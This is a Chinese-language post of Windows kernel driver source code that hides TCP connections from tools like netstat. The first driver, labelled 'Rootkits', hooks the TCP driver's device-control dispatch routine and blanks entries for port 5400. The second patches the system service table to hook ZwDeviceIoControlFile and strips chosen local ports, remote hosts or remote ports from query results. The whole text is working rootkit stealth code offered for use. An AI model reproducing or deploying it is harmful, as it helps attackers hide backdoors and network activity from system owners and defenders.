DeviceIoControl端口隐藏
通过HookTCP驱动程序的Irp分派例程(irpStack->MajorFunction[IRP_MJ_DEVICE_CONTROL])来隐藏应用层查询端口信息
#include <ntddk.h>
#define CO_TL_ENTITY 0x400
#define CL_TL_ENTITY 0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))
typedef struct TDIEntityID
{
ULONG tei_entity;
ULONG tei_instance;
}TDIEntityID;
typedef struct TDIObjectID
{
TDIEntityID toi_entity;
ULONG toi_class;
ULONG toi_type;
ULONG toi_id;
}TDIObjectID;
typedef struct _CONNINFO101
{
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dest_port;
unsigned short unk2;
}CONNINFO101,*PCONNINFO101;
typedef struct _CONNINFO102
{
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
}CONNINFO102,*PCONNINFO102;
typedef struct _CONNINFO110
{
unsigned long size;
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
PVOID unk3[35];
}CONNINFO110,*PCONNINFO110;
typedef struct _REQINFO
{
PIO_COMPLETION_ROUTINE OldCompletion;
unsigned long ReqType;
}REQINFO,*PREQINFO;
PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT,IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS IoCompletionRoutine( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context )
/*
* 如果将端口的状态信息改为0,则端口就不显示
* 各个端口状态信息如下:
* 1 = CLOSED
* 2 = LISTENING
* 3 = SYN_SENT
* 4 = SYN_RECEIVED
* 5 = ESTABLISHED
* 6 = FIN_WAIT_1
* 7 = FIN_WAIT_2
* 8 = CLOSE_WAIT
* 9 = CLOSING
* ......
*/
{
PVOID OutputBuffer;
ULONG NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
ULONG i;
OutputBuffer = Irp->UserBuffer;
//将以前的Irp中的完成函数的指针恢复
p_compRoutine = ((PREQINFO)Context)->OldCompletion;
//以下为判断各种网络请求的参数类型
if(((PREQINFO)Context)->ReqType == 0x101)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
for( i = 0;i < NumOutputBuffers;i ++ )
{
//在这里隐藏端口
if(HTONS(((PCONNINFO101)OutputBuffer)[i].src_port) == 5400 )
{
((PCONNINFO101)OutputBuffer)[i].status = 0;
}
}
}
else if(((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
for( i = 0;i < NumOutputBuffers;i ++ )
{
if(HTONS(((PCONNINFO102)OutputBuffer)[i].src_port) == 5400 )
{
((PCONNINFO102)OutputBuffer)[i].status = 0;
}
}
}
else if(((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
for( i = 0;i < NumOutputBuffers;i ++ )
{
if(HTONS(((PCONNINFO110)OutputBuffer)[i].src_port) == 5400 )
{
((PCONNINFO110)OutputBuffer)[i].status = 0;
}
}
}
//释放在Hook中分配的内存
ExFreePool(Context);
if( (Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL) )
{
//如果以前的IRP中有完成例程,就调用以前的完成例程
return (p_compRoutine)(DeviceObject,Irp,NULL);
}
else
{
//如果以前的Irp没有完成例程,就返回本Hook的状态
return Irp->IoStatus.Status;
}
}
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack;
ULONG ioTransferType;
TDIObjectID *inputBuffer;
ULONG context;
irpStack = IoGetCurrentIrpStackLocation(Irp);
//判断当前IRP栈单元的IRP_MJ_*例程
switch( irpStack->MajorFunction )
{
case IRP_MJ_DEVICE_CONTROL:
//如果IRP的次功能号为0且IOCTL查询代码为IOCTL_TCP_QUERY_INFORMATION_EX,
//说明是应用层程序通过netstat.exe之类的程序请求查询TCP端口号信息
if((irpStack->MinorFunction == 0) && (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
{
//得到IoControlCode中的请求类型,判断是否为METHOD_NEITHER方式的Irp
//ioTransferType &= 3;是得到CTL_CODE中Irp的请求方式(METHOD_BUFFERED,METHOD_IN_DIRECT or METHOD_OUT_DIRECT,MOTHOD_NEITHER)
ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
ioTransferType &= 3;
if( ioTransferType == METHOD_NEITHER )
{
//MOTHOD_NEITHER方式的Irp的输入缓冲区在Type3InputBuffer中
inputBuffer = (TDIObjectID *)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
//如果TDIObjectID的请求方式为CO_TL_ENTITY类型,说明是请求查询TCP端口信息
if( inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY )
{
//0x101,0x102,0x110为应用层程序查询时所带的不同参数
if( (inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110) )
{
//改变Irp栈单元的控制位标志
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
//在Irp的栈单元中分配一个上下文,保存以前Irp的完成例程和应用层参数信息
irpStack->Context = (PIO_COMPLETION_ROUTINE)ExAllocatePool(NonPagedPool,sizeof(REQINFO));
//保存旧的完成例程
((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine;
((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id;
//安装新的完成例程
//这步操作很重要,当钩住当前的TCP驱动对象以后,就可以先一步得到发送驱动程序的Irp
//在钩子函数中处理完这个Irp后要把这个Irp发给真正的TCP驱动程序
//在真正的TCP驱动程序处理完成这个Irp以后,我们的钩子函数唯一可以再得到这个Irp的方式是
//给这个Irp设置完成例程
irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
}
}
}
}
break;
default:
break;
}
//调用以前的DeviceIoControl函数
return OldIrpMjDeviceControl(DeviceObject,Irp);
}
NTSTATUS InstallTCPDriverHook()
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString(&deviceTCPUnicodeString,deviceTCPNameBuffer);
//得到TCP驱动程序的设备对象和文件对象
ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,FILE_READ_DATA,&pFile_tcp,&pDev_tcp);
if( !NT_SUCCESS(ntStatus) )
{
return ntStatus;
}
//得到TCP设备对象对应的驱动程序对象
pDrv_tcpip = pDev_tcp->DriverObject;
//保存以前TCP驱动对象中IRP_MJ_DEVICE_CONTROL函数的指针
OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if( OldIrpMjDeviceControl )
{
//替换TCP驱动对象的IRP_MJ_DEVICE_CONTROL函数的指针为钩子函数的指针
InterlockedExchange((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],(LONG)HookedDeviceControl);
}
return STATUS_SUCCESS;
}
VOID Unload( IN PDRIVER_OBJECT DriverObject )
{
if( OldIrpMjDeviceControl )
{
//在这里恢复以前的函数入口地址
pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OldIrpMjDeviceControl;
}
DbgPrint("Rootkits Unload \n");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
DbgPrint("Rootkits Load \n");
DriverObject->DriverUnload = Unload;
//安装驱动程序的Irp分派函数钩子
return InstallTCPDriverHook();
}
#include "ntddk.h"
#include <stdio.h>
#include <tdiinfo.h>
#include <tdistat.h>
#include "netType.h"
#define NT_DEVICE_NAME L"\\Device\\HidePort"
#define DOS_DEVICE_NAME L"\\DosDevices\\HidePort"
#pragma pack(1) //SSDT表的结构
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
//------------------------- 函数声明--------------------- [5/22/2008 WinDDK]
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
VOID OnUnload(
IN PDRIVER_OBJECT DriverObject
);
//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
// ------------------------------------------------------ [5/22/2008 WinDDK]
NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength );
NTSTATUS NTAPI NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength );
typedef NTSTATUS (*ZWDEVICECONTROLIOFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
ZWDEVICECONTROLIOFILE OldZwDeviceIoControlFile = NULL;
PMDL m_MDL = NULL;
PVOID *m_Mapped = NULL;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //变量名是不能变的,因为是从外部导入
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig) \
_Orig = (PVOID)InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)
#include "HidePort.h"
#pragma alloc_text(INIT,DriverEntry)
#pragma alloc_text(PAGE,OnUnload)
#pragma alloc_text(PAGE,NewZwDeviceIoControlFile)
#pragma alloc_text(PAGE,HideProtDispatchDeviceControl)
#pragma alloc_text(PAGE,HidePortDispatchCreateClose)
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING dosDeviceName;
UNHOOK_SYSCALL(ZwDeviceIoControlFile,OldZwDeviceIoControlFile,NewZwDeviceIoControlFile);
if(m_MDL){
MmUnmapLockedPages(m_Mapped,m_MDL);
IoFreeMdl(m_MDL);
}
//------删除设备对象------ [5/22/2008 WinDDK]
RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&dosDeviceName);
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("驱动卸载完毕...\n"));
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PDEVICE_OBJECT DeviceObject = NULL;
UNICODE_STRING ntDeviceName, dosDeviceName;
BOOLEAN fSymbolicLink = FALSE;
RtlInitUnicodeString(&ntDeviceName, NT_DEVICE_NAME);
//创建设备对象
ntStatus = IoCreateDevice(
DriverObject,
0, // DeviceExtensionSize
&ntDeviceName, // DeviceName
FILE_DEVICE_UNKNOWN, // DeviceType
0, // DeviceCharacteristics
FALSE, // Exclusive
&DeviceObject // [OUT]
);
if (!NT_SUCCESS(ntStatus))
{
KdPrint(("创建设备对象失败:%X\n", ntStatus));
goto __failed;
}
RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
ntStatus = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);
if (!NT_SUCCESS(ntStatus)) {
KdPrint(("创建符号链接失败:%X\n", ntStatus));
goto __failed;
}
fSymbolicLink = TRUE;
//指定分发
DriverObject->MajorFunction[IRP_MJ_CREATE] = HidePortDispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = HidePortDispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProtDispatchDeviceControl;
DriverObject->DriverUnload = OnUnload;
// --------------修改SSDT------------ [5/22/2008 Admin]
m_MDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4 );
if(!m_MDL)
return STATUS_UNSUCCESSFUL;
//非分页内存
MmBuildMdlForNonPagedPool(m_MDL);
m_MDL->MdlFlags = m_MDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
//锁定
m_Mapped = MmMapLockedPages(m_MDL, KernelMode);
HOOK_SYSCALL(ZwDeviceIoControlFile,NewZwDeviceIoControlFile,OldZwDeviceIoControlFile);
KdPrint(("驱动启动成功...\n"));
return ntStatus;
__failed:
if (fSymbolicLink)
IoDeleteSymbolicLink(&dosDeviceName);
if (DeviceObject)
IoDeleteDevice(DeviceObject);
return ntStatus;
}
//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
NTSTATUS ntStatus;
PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);
PVOID lpInBuffer = NULL;
ULONG nInBufferSize, nOutBufferSize, dwIoControlCode;
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
//获得输入缓冲区空间地址
lpInBuffer = Irp->AssociatedIrp.SystemBuffer;
nInBufferSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
nOutBufferSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
dwIoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
switch (dwIoControlCode)
{
case IOCTL_SET_LOCAL_CONTROL:
{
HideType = 1;
memcpy(&LocalPort,lpInBuffer,sizeof(ULONG));
KdPrint(("设置为本地端口模式...%ld\n",LocalPort));
break;
}
case IOCTL_SET_RHOST_CONTROL:
{
HideType = 2;
memcpy(&RemoteHost,lpInBuffer,sizeof(ULONG));
KdPrint(("设置为远程地址模式...0x%x\n",RemoteHost));
break;
}
case IOCTL_SET_RPORT_CONTROL:
{
HideType = 3;
memcpy(&RemotePort,lpInBuffer,sizeof(ULONG));
KdPrint(("设置为远程端口模式...%ld\n",RemotePort));
break;
}
default:
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
break;
}
ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ntStatus;
}
//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
NTSTATUS ntStatus;
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ntStatus;
}
NTSTATUS NTAPI NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
TCP_REQUEST_QUERY_INFORMATION_EX req;
ULONG NumCount = 0;
ULONG i = 0;
TCPAddrEntry* TcpTable = NULL;
TCPAddrExEntry* TcpTableEx = NULL;
//调用旧函数
NTSTATUS ntStatus = ((ZWDEVICECONTROLIOFILE)OldZwDeviceIoControlFile)(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
//判断是否为查询TCP连接信息
if (IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)
return ntStatus;
//原函数返回不成功
if (!NT_SUCCESS(ntStatus))
return ntStatus;
//获得输入缓冲区
memcpy(&req,InputBuffer,sizeof(TDIObjectID));
if ( (req.ID.toi_entity.tei_entity == CO_TL_ENTITY)
&&(req.ID.toi_entity.tei_instance == 0)
&&(req.ID.toi_class == INFO_CLASS_PROTOCOL)
&&(req.ID.toi_type == INFO_TYPE_PROVIDER)
) //判断是否为端口查询
{
//普通查询
if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_ID)
{
NumCount = IoStatusBlock->Information / sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
//循环链表,找到并修改需要隐藏的端口
for(i = 0; i < NumCount; i++) {
//模式为本地端口
if (HideType == 1) {
if( ntohs(TcpTable[i].tae_ConnLocalPort) == LocalPort) {
KdPrint(("普通隐藏[本地端口] %d\n", ntohs(TcpTable[i].tae_ConnLocalPort)));
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
NumCount--;
i--;
}
}
//模式为远程地址
if (HideType == 2) {
if (TcpTable[i].tae_ConnRemAddress == RemoteHost) {
KdPrint(("普通隐藏[远程地址] 0x%x\n", TcpTable[i].tae_ConnRemAddress));
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
NumCount--;
i--;
}
}
//模式为远程端口
if (HideType == 3) {
if (ntohs(TcpTable[i].tae_ConnRemPort) == RemotePort) {
KdPrint(("普通隐藏[远程端口] %d\n", ntohs(TcpTable[i].tae_ConnRemPort)));
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
NumCount--;
i--;
}
}
}
IoStatusBlock->Information = NumCount*sizeof(TCPAddrEntry);
}
//带进程PID的查询
if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_EX_ID)
{
NumCount = IoStatusBlock->Information / sizeof(TCPAddrExEntry);
TcpTableEx = (TCPAddrExEntry*)OutputBuffer;
//循环链表
for(i = 0; i < NumCount; i++) {
//为本地端口模式
if (HideType == 1) {
if( ntohs(TcpTableEx[i].tae_ConnLocalPort) == LocalPort) {
KdPrint(("扩展隐藏[本地端口] %d\n", ntohs(TcpTableEx[i].tae_ConnLocalPort)));
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
NumCount--;
i--;
}
}
//当前为远程地址模式
if (HideType == 2) {
if (TcpTableEx[i].tae_ConnRemAddress == RemoteHost){
KdPrint(("扩展隐藏[远程地址] 0x%x\n", TcpTableEx[i].tae_ConnRemAddress));
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
NumCount--;
i--;
}
}
//远程端口模式
if (HideType == 3) {
if ( ntohs(TcpTableEx[i].tae_ConnRemPort) == RemotePort) {
KdPrint(("扩展隐藏[远程端口] %d\n", ntohs(TcpTableEx[i].tae_ConnRemPort)));
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
NumCount--;
i--;
}
}
}
IoStatusBlock->Information = NumCount*sizeof(TCPAddrExEntry);
}
}
return ntStatus;
}